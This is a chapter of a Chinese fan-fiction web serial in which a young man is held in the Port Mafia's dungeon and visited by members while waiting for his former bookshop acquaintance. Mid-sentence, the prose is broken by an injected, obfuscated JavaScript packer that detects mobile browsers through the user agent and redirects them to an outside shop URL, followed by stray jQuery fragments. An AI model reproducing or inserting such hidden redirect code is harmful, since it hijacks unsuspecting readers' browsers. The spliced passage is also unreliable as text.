77.在外地忙的干部
作品:《被正式确诊为渣男》 仿佛书店变成了牢房,一尘不染的书架变成搭建起世界另一面的高墙。
在早几年前,他们也这样存在于同一片屋顶下。
那时的苏枋隼飞不会被丢进走不出去的地牢,佐久间弥津也依旧爱穿素雅的浅色。按时去书店开门,在没有客人的店里呆一整天,午餐在商店街解决,到了下午闭店的时间就下班回家,如果不想回家,就去仍有工人卸货的码头转转,或者去别的更繁华的街区等到夜幕降临。
乏味但平静,日复一日,好像永远没有尽头。
那几年里,如今担任佐久间弥津副手的人还在别人的命令下满世界出差,在据理力争下也很难拿到回国的许可。
可惜这些只是存在于回忆里的东西了。
苏枋隼飞不再是风铃高中的学生,佐久间弥津此时的身份也和书店老板天差地别。
地牢的空气里永远有消毒剂处理不干净的肮脏。
“怎么找到这里的。”
没有聪明方法。
保持着被铁链束缚的状态,在佐久间弥津眼里已经成长为青年人的苏枋隼飞对这个问题对答如流。
“想办法问过不少人,觉得你在横滨的可能性最大。这座城市有许多能力者的传闻,在一些老人的记忆里,也总是不太和平。我来过横滨几次了,但只有这次运气不错,看到了你的通缉令。你以前常去港口散步,我还记得这件事。”
佐久间弥津的心情很复杂。
他想去钢琴家的工作室待一会儿把自己毒晕过去。
真希望一觉醒来优已经给苏枋注射完药剂然后把昏迷不醒的人早早送走了。
他们之间的差别太大了,根本无法弥补。
他示意优把铁链打开。
“回答我一个问题。”
回答得出来,我就让你留在这里。
“好啊。”苏枋隼飞当然会答应。
听好了。
“过去的两年里,我一共杀死了多少人。精确到个位数,不用区分男女,也不用分死亡方式。”
心脏麻痹休克、脑部重创、枪杀、任何物理方式攻击导致的死亡,都算在内。
把苏枋凝固的神情看在眼里,佐久间弥津接着说,“回答不出来吗。”
换一个问题也可以。
黑市悬赏我性命的悬赏令,曾经达到的最高价是多少。
“两个问题,答得出一个就算你赢。时限一周。”
*
他过上了被软禁的日子。
但这不是普通的软禁生涯。
夜晚被软禁在弥津先生的“休息室”里。押送他从“地牢”到那处屋子的人是这么说的。地牢这个词,同样也是这两个人提到的。
用简单粗暴的方式把他的视力剥夺,他看不到一路上任何人或物。
但他只是在地牢的走廊走几步,然后进电梯直达而已。仅仅两个步骤,任何别人都没有遇到过。
难道那是弥津先生办公室楼层的直达电梯吗。
工作之余的休息室,却不知为何让他感觉,比他在横滨租住的房子更有家的味道。
弥津先生是不是在这里住过?床具和物品延续了弥津先生一贯的色彩喜好。弥津先生在工作外的时间里,连衣服基本都是浅色系吧。
弥津先生在黑手党组织里的职责是什么呢?他过去见到的“前同事”和现在看到的黑手党成员,都很尊重弥津先生。
也“尊重”被弥津先生命令软禁的他。这体现在对他没有盛气凌人和鄙夷,但也对他的问题一概不答。没把他当真正的囚犯,也没把他当有用的人。
休息室里什么都有,但屏蔽了手机信号。
白天,他就要以同样的方式回到地牢,对着不够干净的墙壁继续对弥津先生提出的问题苦思冥想。
一只手被手铐铐着,锁链另一头连着墙壁,另一只手倒还自由。
可他在无人的地牢里能做什么呢,难道要他想办法“占卜”一组数字?
他像面壁思过的学生一样,对着墙壁摇头苦笑。
第一个问题就算是弥津先生本人也不可能知道答案。如果看守他的人愿意回答他,第二个问题倒是很容易就能得到答案。
可是……按次数计算,距离他最后一次见弥津先生已经过了五个夜晚。在这期间,除了负责看守他的人,他一个人都没见到。想来是弥津先生对别人下了“任何人不能靠近”之类的命令。弥津先生在这里的地位有多高?有点难以想象。
既然有弥津先生的命令在……
他转身问道,“请问,先生,你是怎么进来的。”
金发青年迈着不疾不徐的步子,走下阶梯,脸上带着没想掩饰的笑意,“当然是用双脚走进来的。”
“弥津先生恐怕不太想让我见到别人。”
“他的命令,对我们没多大效果。”
……“我们”?
苏枋隼飞望向另一个稍微落后几步的男人。是他没见过的人,看向他的目光里全是探究。
有过一面之缘的青年瞧了眼他被拷住的手,问他,“被关在港口黑手党地牢的感觉如何。”
感觉……有点无聊,还有些煎熬。毕竟是黑手党组织的牢房嘛。
这两个男人似乎觉得他被关在这里的事很好笑,站在离他几米远的地方,聊起了弥津先生在外地开书店时的往事,一些他完全不知道的内情。
说实话,想到自己的遭遇,他也觉得好笑。
但他被软禁的日子里心情一直很轻松。弥津先生没有变成让他陌生的样子,寻找弥津先生的目的就已经达成一半了。
弥津先生成为通缉犯的原因……莫非黑手党组织的成员都会拥有这样特别的身份。通缉令被贴在告示栏里的黑手党组织成员,也能光明正大地站在港口吹风散步吗?还是说,这就是横滨的特殊之处呢。
“以你的精神状态,还能熬几天。”
陌生青年忽然这么问他。
他的精神状态……还很正常吧。
“不接触外界和其他活物,也不张嘴说话,只摄入固定量和成分的食物、水和营养补剂,整日盯着同样污浊的墙壁,呼吸不新鲜的空气。时间一久,你自然会疯掉的。被剥夺自由的人都这样。”
算他心软,没有把你送进旁边的审讯部,不然你会疯得更早。
在你精神失常之后,再随便给你注射点什么药物,让你与世长辞。
“他就能甩掉你这个麻烦了。”
被关在地牢的年轻人思索着,却丝毫没把来人的话听进去。
苏枋隼飞坚信弥津先生不是想逼疯他,只是想借此逼他退一步,主动放弃。
“请问,弥津先生曾经被悬赏过?我想知道悬赏金额是多少。”
终于得以见到两个能和他交流的人,他得抓住这个机会。
干部先生和同伴面面相觑。关于这个问题,他们作为佐久间的“同事”,只知道大概数字。
但你问这个做什么。
“面壁思过这么久,你脑子里只有这件事?”
恐怕真离疯不远了。
*
这两个不知以何种名义、何种身份来地牢见他的人,并没有回答他的问题,理由是他没有解释为什么要问这个。
弥津先生给了他一周的时限,可几乎半个月过去了,弥津先生自己却没出现。
现在他已经学会了用空出来的另一只手在墙上虚空划公式或者写外文词语自娱自乐。手铐锁链另一端焊接在墙上,在夜晚被“遣送”回休息室前,他一整个白天能运动的范围只有以焊接点为圆心的半圆。
他是被遗忘了吗?倒也不像,因为隔一两天就会有“怪人”专门来他的牢房“探监”。
好像变成了动物园最稀奇的猛兽。就算门外挂着禁止入内的告示牌,也会有人不惜代价只为一睹传闻中猛兽的真容。这些人和弥津先生关系好像还不错的样子,都直呼“佐久间”。
那个曾经偷偷溜进弥津先生家里,差点遭到枪击的男人也跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843860|186252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来了地牢,相当热情地和他打招呼。
“你看起来居然没事?我以为你被关这么久已经半死不活了。”
……这种话,要他如何回答呢。
多亏了像此人一样隔三差五来地牢“看望”他的人。比起坐牢,他更像在医院重症监护室住院。
男人仰头看了眼天花板,“我很少来这边呢。我的工作内容和这里一点关系都没有。”
说完,男人自顾自走了,甚至没给他时间问问题。
其实他还想问,弥津先生是不是又去外地了,怎么会这么久都不来颁发对他的“处决命令”。
他可没打算在港口黑手党的地牢过一辈子。弥津先生留下的两个问题,本意绝非让他回答。同把他“软禁”的出发点一样,只是想让他知难而退。
于是,一日后,下一个陌生人来地牢“探监”,他开门见山地问,请问你知道弥津先生的悬赏金额是多少吗。
这个问题对他来说很重要。
这次的访客很疑惑地看了他一眼,问道,“你为什么想知道这个?”
“先生,你知道准确数字?”
戴帽子的橙发青年对苏枋隼飞点头,“知道啊。”
把他好多年前的悬赏金除以二不就是吗?中原中也不知道这有什么难记的。
昨天,他听说地牢关了个奇人。
消息是别人对他说的。
佐久间以前开书店时认识的学生——现在不是学生了——来横滨找他。
但佐久间把人关进地牢,又安排人以奇怪手段把对方软禁起来……种种,让人越听越迷惑。
钢琴家说,被佐久间关起来的家伙就是几年前卷进那件事的人。
可佐久间人还在外地回不来呢。他问,有多少天了。
大概十多天,半个月,回答他的人估计道。
“普通人经不起这么关。佐久间不担心那人当真死在地牢?谁知道佐久间是怎么想的,”钢琴家表示自己看不懂这样的做法,“位于‘过去’的人找上门来,还能做什么。”
中原中也那一日并没有回答这个不认识他的年轻囚犯的问题。
而苏枋隼飞也知道自己不能在这种事上做梦……既然是弥津先生的同事,一定是以弥津先生的意向为主吧。
弥津先生一副不想让他留在横滨的样子。
他靠着数台阶和铁链环数再次熬过一天,换不同的语言数。
又靠着夜晚在弥津先生的休息室里四处翻找留下弥津先生生活痕迹的东西,熬过接下来的四天——他依靠特意搞乱所有东西又连夜收拾好,度过了之前的两周。
不给自己找点坐牢之外的事,他的身体会先灵魂一步衰败的。
今天,是他第二次见到那名橙发青年。
他向这位先生问出了同样的问题,对方却给出了相反的回答,“我忘了。”
是这样吗?
恰在此时,牢房外又传来一道脚步声。
将他关在地牢的人今日终于姗姗来迟。
出现在他视野里的弥津先生浑身湿透,银发也湿漉漉的,玫红色的眼睛里却没有流露半分他可以触及的情绪,神色淡漠。
室外在下雨?弥津先生不是会随身带一把伞吗。
他下意识想走向又是许久未见的人,可是连接着墙面的锁链将他死死束缚在几平米大小的区域,他迈不出哪怕一步。
站在他面前的橙发青年转身,迎着弥津先生的视线,没有说话。
淋过雨的人单膝跪地,湿发垂落,他对橙发青年低下头,像中世纪的骑士向自己忠于的领主俯首称臣。
“处理自己的私事吧,”橙发青年迈开步子,不再呆在地牢,“你的时间还有很多吧。”
“是……首领。”
青年哑声说。
“首领”……?这个人是港口黑手党的首领?
直到橙发青年的身影彻底离开地牢,展示完全臣服姿态的人才站起身,望着他,脸色一如既往的平淡。

